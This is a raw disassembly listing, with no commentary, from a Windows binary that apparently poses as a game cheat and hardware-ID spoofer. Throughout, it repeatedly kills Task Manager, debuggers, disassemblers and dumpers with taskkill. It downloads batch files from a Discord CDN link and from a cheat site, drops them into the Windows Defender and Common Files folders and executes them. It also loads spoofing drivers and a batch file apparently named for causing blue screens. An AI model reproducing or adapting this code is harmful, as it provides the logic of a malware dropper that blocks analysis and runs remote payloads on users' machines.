lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesMicrosoftExtensionManagerExtensionsPCRENAMER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_accountmaker.exe
call fcn.1402b632c
lea rcx, [rsp + 0xd0f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd110]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd130]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd150]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd170]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xd190]
call fcn.14005d8e0
call fcn.1400f6410
mov r8b, 1
mov edx, 3
lea rcx, str._Date__Timer_Changer
call fcn.14006be90
movss xmm2, dword [0x14039ce1c]
movss xmm1, dword [0x14039cea8]
lea rcx, [rsp + 0x430]
call fcn.14005eef0
lea rdx, [rsp + 0x430]
lea rcx, str.Click_Me_Change_Your_Date__Time
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x140073d73
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd250]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd230]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd230]
call fcn.14005d8d0
mov qword [rsp + 0x438], rax
lea rcx, [rsp + 0xd250]
call fcn.14005d8d0
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x438]
mov rdx, qword [rsp + 0x440]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_timedatechanger.bat
lea rcx, [rsp + 0xd210]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesWindows_Defender_timedatechanger.bat
lea rcx, [rsp + 0xd1f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xd1f0]
call fcn.14005d8d0
mov qword [rsp + 0x448], rax
lea rcx, [rsp + 0xd210]
call fcn.14005d8d0
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x448]
mov rdx, qword [rsp + 0x450]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesWindows_Defender_timedatechanger.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xd1d0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xd1b0]
call fcn.14005d9d0
lea rcx, [rsp + 0xd1b0]
call fcn.14005d8d0
mov qword [rsp + 0x458], rax
lea rcx, [rsp + 0xd1d0]
call fcn.14005d8d0
mov qword [rsp + 0x460], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x458]
mov rdx, qword [rsp + 0x460]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
